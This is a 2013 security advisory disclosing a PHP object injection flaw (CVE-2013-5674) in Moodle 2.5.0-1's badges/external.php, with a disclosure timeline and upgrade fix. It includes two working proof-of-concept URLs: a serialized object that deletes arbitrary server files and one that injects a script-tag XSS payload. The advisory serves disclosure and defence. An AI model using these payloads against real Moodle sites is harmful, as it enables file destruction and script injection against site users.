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Moodle 2.5.0-1 (badges/external.php) PHP Object Injection Vulnerability
From: emilio.pinn () gmail com
Date: Sun, 15 Sep 2013 12:44:24 GMT

=============================================
- Original release date: 15 September, 2013
- Discovered by: Emilio Pinna (Application Security Analyst at Abinsula)
- Contact: emilio # pinn # gmail
=============================================

VULNERABILITY
----------------------
Moodle CMS version 2.5.0-1 is prone to Object Injection vulnerability passing not properly sanitized user-supplied 
input to the unserialize() PHP function.

Attacker could inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets 
maliciously. In this application the attacker could delete files and perform a XSS attacks.

DESCRIPTION
----------------------
Affected file badges/external.php unserialize user input in line 35

$json = required_param('badge', PARAM_RAW);
..
$badge = new external_badge(unserialize($json));

PROOF OF CONCEPT
----------------------

- FILE DELETE
The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 can be exploited in order to delete remote file 
passing the serialized object.

http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";}

- XSS
The rendered HTML page constructed in the core_badges_renderer::render_external_badge() in badges/renderer.php:375 
reflects the two object variable assertion and imageurl, as that can be used as XSS vector. 

http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:";<script>alert(1);</script><!--";}}}}

SYSTEMS AFFECTED
----------------------
Moodle CMS version 2.5.0 and 2.5.1. Fixed in 2.5.2.

SOLUTION
----------------------
Do not unserialize() user-supplied input, use standard data format as json instead. Moodle users must upgrade to 2.5.2.

CVE REFERENCE
----------------------
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5674 to the 
vulnerability

CREDITS
----------------------
Emilio Pinna: emilio # pinn # gmail

REFERENCES
----------------------
https://tracker.moodle.org/browse/MDL-40924
http://disse.cting.org/2013/09/16/moodle-2_5_0_1-badges-external-object-injection/

DISCLOSURE TIMELINE
----------------------
29/Jul/2013: Vendor alerted with MDL-40924 ticket
02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko
07/Sep/2013: Moodle release 2.5.2
15/Sep/2013: Public disclosure

LEGAL NOTICES
----------------------
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use 
or otherwise.


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